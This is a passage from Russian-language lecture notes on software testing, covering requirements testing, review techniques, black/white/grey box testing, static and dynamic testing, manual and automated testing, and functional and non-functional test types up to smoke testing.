структурой, чтобы можно было в любой момент вспомнить, где остановился или
понять, в каком абзаце содержится именно та информация, которая нам необходима.
• Инструкции должны присутствовать везде. Даже при выполнении абсолютно

одинаковых манипуляций с программой необходимо пошаговое описание действий во
всех случаях. Это может быть как прямое повторение инструкций, так и ссылка на уже
существующие.
54
• Термины и их значение. В любой документации может использоваться масса

терминов, аббревиатур и сокращений. Каждый из них должен иметь свое значение и
расшифровку.
• Доступность пользователю. Документация должна быть максимально понятной

для любой целевой аудитории.
• Если документация создана и для иностранных пользователей,то необходимо

привлечение специалистов данного лингвистического сектора, вплоть до
носителей языка.
Основные принципы тестирования требований

Тестирование требований лучше проводить до старта разработки. Для этого нужно
рассчитать необходимое время на проверку и заморозить тестируемую
документацию до окончания проверки.
Проводить тестирование требований могут как аналитики, так и тестировщики.
Однако, для достижения лучшего результата описание и проверку требований
следует поручать разным людям.
Выявление дефектов по документации ничем не отличается от выявления
дефектов по продукту: баги следует заносить в систему баг-трекинга как обычно.
В том случае, когда проверка требований ведется параллельно с разработкой,
крайне желательно предупредить команду разработки о найденных дефектах
(чтобы они могли вовремя исправить ошибку).
Уровень детализации требований (как и глубина тестирования) сильно зависит от
уровня проекта. Нет смысла проверять время реакции на кнопку в проекте,
который только запустился (если это, конечно, не относится к ключевому
функционалу).
Существует еще много требований к составлению и тестированию документации.

Сегодня мы рассмотрели основные положения. Но главное правило, которое поможет
нам – это умение ставить себя на место пользователя, попавшего в определенную
проблемную ситуацию.
Свойства качественных требований

В процессе тестирования требований проверяется их соответствие определённому
набору свойств:
55
Атомарность, единичность (atomicity). Требование является атомарным, если

его нельзя разбить на отдельные требования без потери завершённости и оно
описывает одну и только одну ситуацию.
Непротиворечивость, последовательность (consistency). Требование не

должно содержать внутренних противоречий и противоречий другим требованиям
и документам.
Недвусмысленность (unambiguousness, clearness). Требование должно быть

описано без использования жаргона, неочевидных аббревиатур и расплывчатых
формулировок, а также должно допускать только однозначное объективное
понимание и быть атомарным в плане невозможности различной трактовки
сочетания отдельных фраз.
Обязательность, нужность (obligatoriness) актуальность (up-to-date). Если

требование не является обязательным к реализации, то оно должно быть просто
исключено из набора требований. Если требование нужное, но «не очень важное»,
для указания этого факта используется указание приоритета (см.
«проранжированность по...»). Также должны быть исключены (или переработаны)
требования, утратившие актуальность.
Прослеживаемость (traceability). Прослеживаемость бывает вертикальной

(vertical traceability) и горизонтальной (horizontal traceability). Вертикальная
прослеживаемость позволяет соотносить между собой требования на различных
уровнях требований, горизонтальная - соотносить требование с тест-планом, тест-
кейсами, архитектурными решениями и т.д. Для обеспечения прослеживаемости
часто используются специальные инструменты по управлению требованиями
(requirements management tool) и/или матрицы прослеживаемости (traceability
matrix).
Модифицируемость (modifiability) - это свойство характеризует внесения

изменений в отдельные требования и в набор требований. Можно говорить о
наличии модифицируемости в том случае, если, при доработке требований,
искомую информацию легко найти, а её изменение не приводит к нарушению
иных описанных в этом перечне свойств.
Проранжированность по важности, стабильности, срочности (ranked for

importance, stability, priority). Важность характеризует зависимость успеха проекта
от успеха реализации требования. Стабильность характеризует вероятность того,
что в ближайшем будущем в требование не будет внесено никаких изменений.
Срочность определяет распределение по времени усилий проектной команды по
реализации того или иного требования.
56
Корректность (correctness) ипроверяемость(verifiability). Фактически, эти свойства

вытекают из соблюдения всех вышеперечисленных (или ,можно сказать, они не
выполняются, если нарушено хотя бы одно из вышеперечисленных). В
дополнение, можно отметить, что проверяемость подразумевает возможность
создания объективного тест-кейса (тест-кейсов), однозначно показывающего, что
требование реализовано верно и поведение приложения в точности соответствует
требованию.
Техники тестирования требований

Тестирование документации и требований относится к разряду нефункционального
тестирования (non-functional testing). Основные техники такого тестирования в
контексте требований таковы:
Взаимный просмотр (peer review) или «рецензирование» является одной из

наиболее активно используемых техник тестирования требований и может быть
представлен в одной из трёх следующих форм (по мере нарастания его сложности
и цены):
Беглый просмотр (walkthrough) может выражаться как в показе автором своей

работы коллегам с целью создания общего понимания и получения обратной
связи, так и в простом обмене результатами работы между двумя и более
авторами с тем, чтобы коллега высказал свои вопросы и замечания. Это самый
быстрый, дешёвый и часто используемый вид просмотра.
Для запоминания: аналог беглого просмотра — это ситуация, когда вы в школе с

одноклассниками проверяли перед сдачей сочинения друг друга, чтобы найти описки и
ошибки.
Технический просмотр (technical review) выполняется группой специалистов. В

идеальной ситуации - каждый специалист должен представлять свою область
знаний. Тестируемый продукт не может считаться достаточно качественным, пока
хотя бы у одного просматривающего остаются замечания.
Для запоминания: аналог технического просмотра — это ситуация, когда некий

договор визирует юридический отдел, бухгалтерия и т.д.
Формальная инспекция (inspection) представляет собой структурированный,

систематизированный и документируемый подход к анализу документации. Для
его выполнения привлекается большое количество специалистов. Само
выполнение занимает достаточно много времени, потому этот вариант просмотра
используется достаточно редко (как правило, при получении на сопровождение и
57
доработку проекта, созданием которого ранее занималась другая компания).
Для запоминания: аналог формальной инспекции — это ситуация генеральной уборки

квартиры (включая содержимое всех шкафов, холодильника, кладовки и т.д.).
Вопросы. Следующей очевидной техникой тестирования и повышения качества

требований является использование (повторное) техник выявления требований, а
также (как отдельный вид деятельности) — постановка вопросов. Если хоть что-то
в требованиях вызывает у вас непонимание или подозрение, то задавайте
вопросы. Можно спросить представителей заказчика или же обратиться к
справочной информации. По многим вопросам можно обратиться к более
опытным коллегам при условии, что у них имеется соответствующая информация,
ранее полученная от заказчика. Главное, чтобы Ваш вопрос был сформулирован
таким образом, чтобы полученный ответ позволил улучшить требования.
58
Лекция 2, ч.4. Виды и направления тестирования
Типы тестирования
White/Black/Grey Box-тестирование
Для того, чтобы лучше понимать подходы к тестированию программного обеспечения,
нужно, конечно же, знать, какие виды и типы тестирования в принципе бывают.
Давайте начнем с рассмотрения основных типов тестирования, которые определяют
высокоуровневую классификацию тестов.
Самым высоким уровнем в иерархии подходов к тестированию будет понятие типа,

которое может охватывать сразу несколько смежных техник тестирования. То есть,
одному типу тестирования может соответствовать несколько его видов.
Рассмотрим, для начала, несколько типов тестирования, которые отличаются знанием
внутреннего устройства объекта тестирования.
Black Box
Summary: Мы не знаем, как устроена тестируемая система.
Тестирование методом «черного ящика», также известное как тестирование,

основанное на спецификации или тестирование поведения – техника тестирования,
основанная на работе исключительно с внешними интерфейсами тестируемой
системы.
Согласно ISTQB, тестирование черного ящика – это:
тестирование, как функциональное, так и нефункциональное, не предполагающее

знания внутреннего устройства компонента или системы;
тест-дизайн, основанный на технике черного ящика – процедура написания или
выбора тест-кейсов на основе анализа функциональной или нефункциональной
спецификации компонента или системы без знания ее внутреннего устройства.
Почему именно «черный ящик»? Тестируемая программа для тестировщика – как

черный непрозрачный ящик, содержания которого он не видит. Целью этой техники
является поиск ошибок в таких категориях:
59
неправильно реализованные или недостающие функции;

ошибки интерфейса;
ошибки в структурах данных или организации доступа к внешним базам данных;
ошибки поведения или недостаточная производительности системы;
Таким образом, мы не имеем представления о структуре и внутреннем устройстве

системы. Нужно концентрироваться на том,что программа делает, а не на том, как она
это делает.
Пример:
Тестировщик проводит тестирование веб-сайта, не зная особенностей его реализации,

используя только предусмотренные разработчиком поля ввода и кнопки. Источник
ожидаемого результата – спецификация.
Поскольку это тип тестирования, то он может включать и другие его виды.

Тестирование черного ящика может быть как функциональным, так и
нефункциональным. Функциональное тестирование предполагает проверку работы
функций системы, а нефункциональное – общие характеристики нашей программы.
Техника черного ящика применима на всех уровнях тестирования (от модульного до

приемочного), для которых существует спецификация. Например, при осуществлении
системного или интеграционного тестирования, требования или функциональная
спецификация будут основой для написания тест-кейсов.
Техники тест-дизайна, основанные на использовании черного ящика, включают:
классы эквивалентности;
анализ граничных значений;
таблицы решений;
диаграммы изменения состояния;
тестирование всех пар.
1. тестирование производится с позиции конечного пользователя и может помочь

обнаружить неточности и противоречия в спецификации;
2. тестировщику нет необходимости знать языки программирования и углубляться в
особенности реализации программы;
3. тестирование может производиться специалистами, независимыми от отдела
разработки, что помогает избежать предвзятого отношения;
4. можно начинать писать тест-кейсы, как только готова спецификация.
60
1. тестируется только очень ограниченное количество путей выполнения программы;

2. без четкой спецификации (а это скорее реальность на многих проектах)
достаточно трудно составить эффективные тест-кейсы;
3. некоторые тесты могут оказаться избыточными, если они уже были проведены
разработчиком на уровне модульного тестирования.
Противоположностью техники черного ящика является тестирование методом белого

ящика, речь о котором пойдет ниже.
White Box
Summary: Нам известны все детали реализации тестируемой программы.
Тестирование методом белого ящика (также прозрачного, открытого, стеклянного

ящика или же основанное на коде или структурное тестирование) – метод
тестирования программного обеспечения, который предполагает, что внутренняя
структура/устройство/реализация системы известны тестировщику. Мы выбираем
входные значения, основываясь на знании кода, который будет их обрабатывать.
Точно так же мы знаем, каким должен быть результат этой обработки. Знание всех
особенностей тестируемой программы и ее реализации обязательны для этой техники.
Тестирование белого ящика – углубление во внутреннее устройство системы за
пределы ее внешних интерфейсов.
Согласно ISTQB: тестирование белого ящика – это:
тестирование, основанное на анализе внутренней структуры компонента или

системы;
тест-дизайн, основанный на технике белого ящика – процедура написания или
выбора тест-кейсов на основе анализа внутреннего устройства системы или
компонента.
Почему «белый ящик»? Тестируемая программа для тестировщика – прозрачный

ящик, содержимое которого он прекрасно видит.
Пример:
Тестировщик, который, как правило, является программистом, изучает реализацию

кода поля ввода на веб-странице, определяет все предусмотренные (как правильные,
так и неправильные) и не предусмотренные пользовательские вводы и сравнивает
фактический результат выполнения программы с ожидаемым. При этом ожидаемый
результат определяется именно тем, как должен работать код программы.
Тестирование методом белого ящика похоже на работу механика, который изучает

двигатель машины, чтобы понять, почему она не заводится.
61
Техника белого ящика применима на разных уровнях тестирования: от модульного до

системного, но, главным образом, применяется именно для реализации модульного
тестирования компонента его автором.
1. тестирование может производиться на ранних этапах: нет необходимости ждать

создания пользовательского интерфейса;
2. можно провести более тщательное тестирование с покрытием большого
количества путей выполнения программы.
1. для выполнения тестирования белого ящика необходимо большое количество

специальных знаний;
2. при использовании автоматизации тестирования на этом уровне поддержка
тестовых скриптов может оказаться достаточно накладной, если программа часто
изменяется.
Сравнение Black Box и White Box
Grey Box
Summary: Нам известны только некоторые особенности реализации тестируемой
системы.
Тестирование методом серого ящика – метод тестирования программного

обеспечения, который предполагает комбинацию White Box и Black Box подходов. То
есть внутреннее устройство программы нам известно лишь частично. Предполагается,
например, доступ ко внутренней структуре и алгоритмам работы ПО для написания
максимально эффективных тест-кейсов, но само тестирование проводится с помощью
техники черного ящика, то есть с позиции пользователя.
Эту технику тестирования также называют методом полупрозрачного ящика: что-то мы

видим, а что-то – нет.
Пример:
62
Тестировщик изучает код программы с тем, чтобы лучше понимать принципы ее

работы и изучить возможные пути ее выполнения. Такое знание поможет написать
тест-кейс, который наверняка будет проверять определенную функциональность.
Техника серого ящика применима на разных уровнях тестирования: от модульного до

системного, но, главным образом, применяется на интеграционном уровне для
проверки взаимодействия разных модулей программы.
Статическое и динамическое тестирование

По критерию запуска программы (исполняется ли программный код) выделяют еще
два типа тестирования: статическое и динамическое.
1. Статическое тестирование
Статистическое тестирование –тип тестирования, который предполагает, что
программный код во время тестирования не будет выполняться. При этом, само
тестирование может быть как ручным, так и автоматизированным.
Статическое тестирование начинается на ранних этапах жизненного цикла ПО и

является, соответственно, частью процесса верификации. Для этого типа
тестирования в некоторых случаях даже не нужен компьютер, например, при проверке
требований.
Большинство статических техник могут быть использованы для «тестирования» любых

форм документации, включая вычитку кода, инспекцию проектной документации,
функциональной спецификации и требований.
63
Даже статическое тестирование может быть автоматизировано, например, можно

использовать автоматические средства проверки синтаксиса программного кода.
Виды статического тестирования:
вычитка исходного кода программы;

проверка требований.
2. Динамическое тестирование
Динамическое тестирование – тип тестирования, который предполагает запуск
программного кода. Таким образом, анализируется поведение программы во время ее
работы.
Для выполнения динамического тестирования необходимо, чтобы тестируемый

программный код был написан, скомпилирован и запущен. При этом, может
выполняться проверка внешних параметров работы программы: загрузка процессора,
использование памяти, время отклика и т.д., то есть ее производительность.
Динамическое тестирование является частью процесса валидации программного

Кроме того, динамическое тестирование может включать разные подвиды, каждый из

которых зависит от:
Доступа к коду (тестирование черным, белым и серым ящиками).

Уровня тестирования (модульное интеграционное, системное и приемочное
тестирование).
Сферы использования приложения (функциональное, нагрузочное, тестирование
безопасности и пр.).
64
Ручное и автоматизированное
При ручном тестировании (manual testing) тестировщики вручную выполняют тесты,
не используя никаких средств автоматизации. Ручное тестирование – самый
низкоуровневый и простой тип тестирования, не требующий большого количества
дополнительных знаний.
Тем не менее, перед тем, как автоматизировать тестирование любого приложения,

необходимо сначала выполнить серию тестов вручную. Мануальное тестирование
требует значительных усилий, но без него мы не сможем убедиться в том, возможна ли
автоматизация в принципе. Один из фундаментальных принципов тестирования
гласит: 100% автоматизация невозможна. Поэтому, ручное тестирование –
необходимость.
Мифы о ручном тестировании:
Кто угодно может провести ручное тестирование. Нет, выполнение любого вида
тестирования требует специальных знаний и профессиональной подготовки.
Автоматизированное тестирование мощнее ручного.
Полная автоматизация невозможна. Необходимо использовать также и ручное
тестирование.
Ручное тестирование – это просто.
Тестирование может быть очень непростым занятием. Проведение тестирования для

проверки максимально возможного количества путей выполнения, с использованием
минимального числа тест-кейсов, требует серьезных аналитических навыков.
Автоматизированное тестирование (automation testing) предполагает

использование специального программного обеспечения (помимо тестируемого) для
контроля выполнения тестов и сравнения ожидаемого фактического результата
работы программы. Этот тип тестирования помогает автоматизировать часто
повторяющиеся, но необходимые для максимизации тестового покрытия, задачи.
Некоторые задачи тестирования, такие как низкоуровневое регрессионное

тестирование, могут быть трудозатратными и требующими много времени, если
выполнять их вручную. Кроме того, мануальное тестирование может недостаточно
эффективно находить некоторые классы ошибок. В таких случаях автоматизация
может помочь сэкономить время и усилия проектной команды.
После создания автоматизированных тестов, их можно в любой момент запустить

снова, причем, запускаются и выполняются они быстро и точно. Таким образом, если
есть необходимость частого повторного прогона тестов, значение автоматизации для
65
упрощения сопровождения проекта и снижения его стоимости трудно переоценить.

Ведь даже минимальные патчи и изменения кода могут стать причиной появления
новых багов.
Существует несколько основных видов автоматизированного тестирования:
Автоматизация тестирования кода (Code-driven testing) – тестирование на

уровне программных модулей, классов и библиотек (фактически, автоматические
юнит-тесты).
Автоматизация тестирования графического пользовательского интерфейса

(Graphical user interface testing) – специальная программа (фреймворк
автоматизации тестирования) позволяет генерировать пользовательские события–
нажатия клавиш, клики мышкой, и отслеживание реакции программы на эти
действия: соответствует ли она спецификации.
Автоматизация тестирования API (Application Programming Interface) –

тестирование программного интерфейса программы. Тестируются интерфейсы,
предназначенные для взаимодействия, например, с другими программами или с
пользователем. Здесь, опять же, как правило, используются специальные
фреймворки.
Для составления автоматизированных тестов QA-специалист должен уметь

программировать. Автоматические тесты – это полноценные программы, просто
предназначенные для тестирования.
Когда, что и как автоматизировать и автоматизировать ли вообще – очень важные

вопросы, ответы на которые должна дать команда разработки. Выбор правильных
элементов программы для автоматизации в большой степени будет определять успех
автоматизации тестирования в принципе. Нужно избегать автоматизации тестирования
участков кода, которые могут часто меняться.
Сравнение ручного и автоматизированного

тестирования
Как ручное, так и автоматизированное тестирования могут использоваться на разных
уровнях тестирования, а также быть частью других типов и видов тестирования.
Автоматизация сохраняет время, силы и деньги. Автоматизированный тест можно

запускать снова и снова, прилагая минимум усилий.
Вручную можно протестировать практически любое приложение, в то время как

автоматизировать стоит только стабильные системы .Автоматизированное
тестирование используется, главным образом, для регрессии. Кроме того, некоторые
66
виды тестирования, например, ad-hoc или исследовательское тестирование могут

быть выполнены только вручную.
Мануальное тестирование может быть повторяющимся и скучным.В то же время,

автоматизация может помочь этого избежать – за вас все сделает компьютер.
Таким образом, на реальных проектах зачастую используется комбинация ручного и

автоматизированного тестирования, причем уровень автоматизации будет зависеть
как от типа проекта, так и от особенностей постановки производственных процессов в
компании.
Виды тестирования
Все виды тестирования программного обеспечения, в зависимости от
преследуемых целей, можно условно разделить на следующие группы:
1. Функциональные.
2. Нефункциональные.
3. Связанные с изменениями.
Далее мы постараемся более подробно рассказать о каждом отдельном виде

тестирования, его назначении и использовании при тестировании программного
Функциональные виды тестирования

Функциональные тесты базируются на функциях и особенностях, а также на
взаимодействии с другими системами и могут быть представлены на всех уровнях
тестирования: компонентном или модульном (Component/Unit testing), интеграционном
(Integration testing), системном (System testing), приемочном (Acceptance testing).
Функциональные виды тестирования рассматривают внешнее поведение системы.
Далее перечислены одни из самых распространенных видов функциональных тестов.
Функциональное тестирование рассматривает заранее указанное поведение и

основывается на анализе спецификаций функционтальности компонента или системы
в целом.
1.Функциональные тесты основываются на функциях, выполняемых системой, и

могут проводиться на всех уровнях тестирования (компонентном, интеграционном,
системном, приемочном). Как правило, эти функции описываются в требованиях,
67
функциональных спецификациях или в виде случаев использования системы (use

cases).
Тестирование функциональности может проводиться в двух аспектах:
Требования.
Бизнес-процессы.
Тестирование в аспекте «требования» использует спецификацию функциональных

требований к системе, как основу для дизайна тестовых случаев (Test Cases). В этом
случае необходимо сделать список того, что будет тестироваться, а что нет,
приоритезировать требования на основе рисков (если это не сделано в документе с
требованиями), а на основе этого приоритезировать тестовые сценарии (test cases).
Это позволит сфокусироваться и не упустить при тестировании наиболее важный
функционал.
Тестирование в аспекте «бизнес-процессы» использует знание бизнес-процессов,

которые описывают сценарии ежедневного использования системы. В этом аспекте
тестовые сценарии (test scripts), как правило, основываются на случаях
использования системы (use cases).
Преимущества функционального тестирования:
имитирует фактическое использование системы.
Недостатки функционального тестирования:
возможность упущения логических ошибок в программном обеспечении;
вероятность избыточного тестирования.
Достаточно распространенной является автоматизация функционального

2. Тестирование безопасности (Security and Access Control Testing)
Тестирование безопасности - это стратегия тестирования, используемая для

проверки безопасности системы, а также для анализа рисков, связанных с
обеспечением целостного подхода к защите приложения, атак хакеров, вирусов,
несанкционированного доступа к конфиденциальным данным.
Принципы безопасности программного обеспечения
Общая стратегия безопасности основывается на трех основных принципах:
1. Конфиденциальность.
2. Целостность.
68
3. Доступность.
Конфиденциальность
Конфиденциальность - это сокрытие определенных ресурсов или информации. Под

конфиденциальностью можно понимать ограничение доступа к ресурсу некоторой
категории пользователей или, другими словами, при каких условиях пользователь
авторизован получить доступ к данному ресурсу.
Целостность
Существует два основных критерия при определении понятия целостности:
1. Доверие. Ожидается, что ресурс будет изменен только соответствующим

способом определенной группой пользователей.
2. Повреждение и восстановление. В случае, когда данные повреждаются или
неправильно меняются авторизованным или не авторизованным пользователем,
Вы должны определить, на сколько важной является процедура восстановления
данных.
Доступность
Доступность представляет собой требования о том, что ресурсы должны быть

доступны авторизованному пользователю, внутреннему объекту или устройству. Как
правило, чем более критичен ресурс, тем выше уровень доступности должен быть.
3. Тестирование взаимодействия или Interoperability Testing
Тестирование взаимодействия (Interoperability Testing) – это функциональное

тестирование, проверяющее способность приложения взаимодействовать с одним и
более компонентами или системами и включающее в себя тестирование
совместимости (compatibility testing) и интеграционное тестирование (integration
testing).
Программное обеспечение с хорошими характеристиками взаимодействия может быть

легко интегрировано с другими системами, не требуя каких-либо серьезных
модификаций. В этом случае, количество изменений и время, требуемое на их
выполнение, могут быть использованы для измерения возможности взаимодействия.
Нефункциональные виды тестирования

Нефункциональное тестирование описывает тесты, необходимые для определения
характеристик программного обеспечения, которые могут быть измерены различными
величинами. В целом, это тестирование того, как система работает.
69
1.Все виды тестирования производительности
Тестирование производительности ( Performance testing ).
Задачей тестирования производительности является определение масштабируемости

приложения под нагрузкой, при этом происходит:
Измерение времени выполнения выбранных операций при определенных

интенсивностях выполнения этих операций.
Определение количества пользователей, одновременно работающих с
приложением.
Определение границ приемлемой производительности при увеличении нагрузки
(при увеличении интенсивности выполнения этих операций).
Исследование производительности на высоких, предельных, стрессовых
нагрузках.
Стрессовое тестирование ( Stress Testing )
Стрессовое тестирование позволяет проверить, насколько приложение и система в

целом работоспособны в условиях стресса, а также оценить способность системы к
регенерации, т.е. к возвращению к нормальному состоянию, после прекращения
воздействия стресса. Стрессом, в данном контексте, может быть повышение
интенсивности выполнения операций до очень высоких значений или аварийное
изменение конфигурации сервера. Также, одной из задач при стрессовом
тестировании может быть оценка деградации производительности. Таким образом,
цели стрессового тестирования могут пересекаться с целями тестирования
производительности.
Объемное тестирование ( Volume Testing )
Задачей объемного тестирования является получение оценки производительности при

увеличении объемов данных в базе данных приложения, при этом происходит:

Может производиться определение количества пользователей, одновременно
работающих с приложением.
Тестирование стабильности или надежности( Stability / Reliability Testing)
Задачей тестирования стабильности (надежности) является проверка

работоспособности приложения при длительном (многочасовом) тестировании со
средним уровнем нагрузки. Время выполнения операций может играть в данном виде
70
тестирования второстепенную роль. При этом на первое место выходит отсутствие

утечек памяти, перезапусков серверов под нагрузкой и другие аспекты влияющие
именно на стабильность работы.
В англоязычной терминологии вы можете так же найти еще один вид тестирования -

Load Testing - тестирование реакции системы на изменение нагрузки (в пределе
допустимого). Нам показалось, что Load и Performance преследуют все же одну и ту же
цель: проверка производительности (времени отклика) на разных нагрузках.
Собственно поэтому мы и не стали разделять их. В то же время кто то может
разделить. Главное все таки понимать цели того или иного вида тестирования и
постараться их достигнуть.
2. Тестирование Установки (Installation Testing)
Тестирование установки направленно на проверку успешной инсталляции и настройки,

а также на обновление или удаление программного обеспечения.
В настоящий момент, наиболее распространена установка ПО при помощи

инсталляторов (специальных программ,которые сами по себе так же требуют
надлежащего тестирования, описание которого рассмотрено в разделе "Особенности
тестирования инсталляторов").
В реальных условиях инсталляторов может не быть. В этом случае придется

самостоятельно выполнять установку программного обеспечения, используя
документацию в виде инструкций или "read me" файлов, шаг за шагом описывающих
все необходимые действия и проверки.
В распределенных системах, где приложение разворачивается на уже работающем

окружении, простого набора инструкций может быть мало. Для этого часто пишется
план установки (Deployment Plan), включающий не только шаги по инсталляции
приложения, но и шаги отката (roll-back) к предыдущей версии (в случае неудачи). Сам
по себе план установки также должен пройти процедуру тестирования для избежания
проблем при выдаче в реальную эксплуатацию. Особенно это актуально, если
установка выполняется на системы, где каждая минута простоя - это потеря репутации
и большого количества средств, например: банки, финансовые компании или даже
баннерные сети. Поэтому тестирование установки можно назвать одной из важнейших
задач по обеспечению качества программного обеспечения.
3. Тестирование удобства пользования (Usability Testing)
Иногда мы сталкиваемся с непонятными или нелогичными приложениями, многие

функции и способы использования которых часто не очевидны. После такой работы
редко возникает желание использовать приложение снова, и мы ищем более удобные
аналоги. Для того, чтобы приложение было популярным, ему мало быть
71
функциональным – оно должно быть еще и удобным. Если задуматься, интуитивно

понятные приложения экономят нервы пользователям и затраты работодателя на
обучение. Значит, они более конкурентоспособные! Поэтому тестирование удобства
использования, о котором пойдет речь далее, является неотъемлемой частью
тестирования любых массовых продуктов.
Тестирование удобства пользования - это метод тестирования, направленный на

установление степени удобства использования, обучаемости, понятности и
привлекательности для пользователей разрабатываемого продукта в контексте
заданных условий.
Тестирование удобства пользования дает оценку уровня удобства использования

приложения по следующим пунктам:
Производительность, эффективность ( efficiency) - сколько времени и шагов

понадобится пользователю для завершения основных задач приложения,
например, размещение новости, регистрации, покупка и т.д. (меньше - лучше).
Правильность ( accuracy) - сколько ошибок сделал пользователь во время
работы с приложением (меньше - лучше).
Активизация в памяти ( recall ) – как много пользователь помнит о работе
приложения после приостановки работы с ним на длительный период времени
(повторное выполнение операций после перерыва должно проходить быстрее,
чем у нового пользователя).
Эмоциональная реакция ( emotional response ) – как пользователь себя
чувствует после завершения задачи - растерян, испытал стресс? Порекомендует
ли пользователь систему своим друзьям? (положительная реакция - лучше).
Уровни проведения
Проверка удобства использования может проводиться как по отношению к готовому

продукту, посредством тестирования черного ящика (black box testing), так и к
интерфейсам приложения (API), используемым при разработке - тестирование белого
ящика (white box testing). В этом случае проверяется удобство использования
внутренних объектов, классов, методов и переменных, а также рассматривается
удобство изменения, расширения системы и интеграции ее с другими модулями или
системами. Использование удобных интерфейсов (API) может улучшить качество,
увеличить скорость написания и поддержки разрабатываемого кода и, как следствие,
улучшить качество продукта в целом.
Отсюда становится очевидно, что тестирование удобства пользования может

производиться на разных уровнях разработки программного обеспечения: модульном,
интеграционном, системном, приемочном. При этом, оно целиком и полностью будет
72
зависит от того, кто будет использовать приложение на выделенном конкретном

уровне - разработчик, бизнес-пользователь системы и т.д.
Советы по улучшению удобства пользования:
Для дизайна удобных приложений полезно следовать принципам «пока-йока» или

fail-safe. У нас это более известно как «защита от дурака». Простой пример: если
поле требует цифровое значение,то логично ограничить пользователю диапазон
ввода только цифрами – будет меньше случайных ошибок.
Для повышения юзабилити существующих приложений можно использовать цикл

Демминга (Plan-Do-Check-Act), собирая отзывы о работе и дизайне приложения у
существующих пользователей, и, в соответствии с их замечаниями, планируя и
проводя улучшения.
Заблуждения о тестировании удобства пользования:
Тестирование пользовательского интерфейса = Тестирование удобства

пользования
Тестирование удобства пользования не имеет ничего общего с тестированием

функциональности пользовательского интерфейса, оно лишь проводится на
пользовательском интерфейсе, равно как и на многих других возможных компонентах
продукта. При этом, тип тестирования и тест-кейсы будут совсем другие, так как речь
может идти об удобстве использования не визуальных компонентов (если таковые
имеются) или процессе администрирования, например, распределенного клиент-
серверного продукта и т.д.
Тестирование удобства пользования можно провести без участия эксперта
Не всегда человек не разбирающийся в предметной области способен провести его

самостоятельно. Представьте, что тестировщику нужно протестировать удобство
пользования стратегического бомбардировщика. Ему придется проверить основные
функции: удобство ведения боя, навигации, пилотирования, обслуживания, наземной
транспортировки и т.д. Очевидно, что, без привлечения эксперта, это будет весьма
проблематично, и, можно даже сказать, невозможно.
4. Тестирование на отказ и восстановление (Failover and Recovery Testing)
Тестирование на отказ и восстановление (Failover and Recovery Testing)

проверяет тестируемый продукт с точки зрения способности противостоять и успешно
восстанавливаться после возможных сбоев, возникших в связи с ошибками
программного обеспечения, отказами оборудования или проблемами связи (например,
отказ сети).
73
Целью данного вида тестирования является проверка систем восстановления (или

дублирующих основной функционал систем), которые, в случае возникновения сбоев,
обеспечат сохранность и целостность данных тестируемого продукта.
Тестирование на отказ и восстановление очень важно для систем, работающих по

принципу “24x7”. Если Вы создаете продукт, который будет работать, например,в
интернете, то без проведения данного вида тестирования Вам просто не обойтись, т.к.
каждая минута простоя или потеря данных, в случае отказа оборудования, может
стоить вам денег, потери клиентов и репутации на рынке.
Методика подобного тестирования заключается в симулировании различных условий

сбоя и последующем изучении и оценке реакции защитных систем. В процессе
подобных проверок выясняется, была ли достигнута требуемая степень
восстановления системы после возникновения сбоя.
Для наглядности, рассмотрим некоторые варианты подобного тестирования и общие

методы их проведения. Объектом тестирования, в большинстве случаев, являются
весьма вероятные эксплуатационные проблемы, такие как:
Отказ электричества на компьютере-сервере.

Отказ электричества на компьютере-клиенте.
Незавершенные циклы обработки данных (прерывание работы фильтров данных,
прерывание синхронизации).
Объявление или внесение в массивы данных невозможных или ошибочных
элементов.
Отказ носителей данных.
Данные ситуации могут быть воспроизведены, как только достигнута некоторая точка в
разработке, когда все системы восстановления или дублирования готовы выполнять
свои функции. Технически реализовать тесты можно следующими путями:
Симулировать внезапный отказ электричества на компьютере (обесточить

компьютер).
Симулировать потерю связи с сетью (выключить сетевой кабель, обесточить
сетевое устройство).
Симулировать отказ носителей (обесточить внешний носитель данных).
Симулировать ситуацию наличия в системе неверных данных (специальный
тестовый набор или база данных).
При достижении соответствующих условий сбоя и по результатам работы систем

восстановления, можно оценить продукт с точки зрения тестирования на отказ. Во всех
вышеперечисленных случаях, по завершении процедур восстановления, должно быть
достигнуто определенное требуемое состояние данных продукта:
74
Потеря или порча данных в допустимых пределах.

Отчет или система отчетов, с указанием процессов или транзакций, которые не
были завершены в результате сбоя.
Стоит заметить, что тестирование на отказ и восстановление – это весьма

специфичное тестирование. Разработка тестовых сценариев должна производиться с
учетом всех особенностей тестируемой системы. Принимая во внимание довольно
жесткие методы воздействия, стоит также оценить целесообразность проведения
данного вида тестирования для конкретного программного продукта.
5. Конфигурационное тестирование (Configuration Testing)
Конфигурационное тестирование(Configuration Testing) — специальный вид

тестирования, направленный на проверку работы программного обеспечения при
различных конфигурациях системы (заявленных платформах, поддерживаемых
драйверах, при различных конфигурациях компьютеров и т.д.)
В зависимости от типа проекта конфигурационное тестирование может иметь разные

цели:
Проект по профилированию работы системы.

Цель Тестирования: определить оптимальную конфигурацию оборудования,
обеспечивающую требуемые характеристики производительности и времени
реакции тестируемой системы.
Проект по миграции системы с одной платформы на другую.

Цель Тестирования: Проверить объект тестирования на совместимость с
объявленным в спецификации оборудованием, операционными системами и
программными продуктами третьих фирм.
Примечание: В ISTQB Syllabus вообще не говорится о таком виде тестирования, как

конфигурационное. Согласно глоссарию, данный вид тестирования рассматривается
там как тестирование портируемости(portability testing: The process of testing to
determine the portability of a software product.).
Связанные с изменениями виды тестирования

После проведения необходимых изменений, таких как исправление багов/дефектов,
программное обеспечение должно быть перетестировано для подтверждения того
факта, что проблема была действительно решена. Ниже перечислены виды
тестирования, которые необходимо проводить после установки программного
обеспечения, для подтверждения работоспособности приложения или правильности
осуществленного исправления дефекта:
75
1. Дымовое тестирование (Smoke Testing)
Понятие дымовое тестирование пошло из инженерной среды:
"При вводе в эксплуатацию нового оборудования ("железа") считалось, что

тестирование прошло удачно, если из установки не пошел дым."
В области же программного обеспечения дымовое тестирование рассматривается как

короткий цикл тестов, выполняемый для подтверждения того, что, после сборки кода
(нового или исправленного), устанавливаемое приложение стартует и выполняет
основные функции.
Вывод о работоспособности основных функций делается на основании результатов

поверхностного тестирования наиболее важных модулей приложения на предмет
возможности выполнения требуемых задач и наличия быстронаходимых критических и
блокирующих дефектов. В случае отсутствия таковых дефектов дымовое
тестирование объявляется пройденным и приложение передается для проведения
полного цикла тестирования, в противном случае, дымовое тестирование объявляется
проваленным и приложение уходит на доработку.
Аналогами дымового тестирования являются Build Verification Testing и Acceptance

Testing, выполняемые на функциональном уровне командой тестирования, по
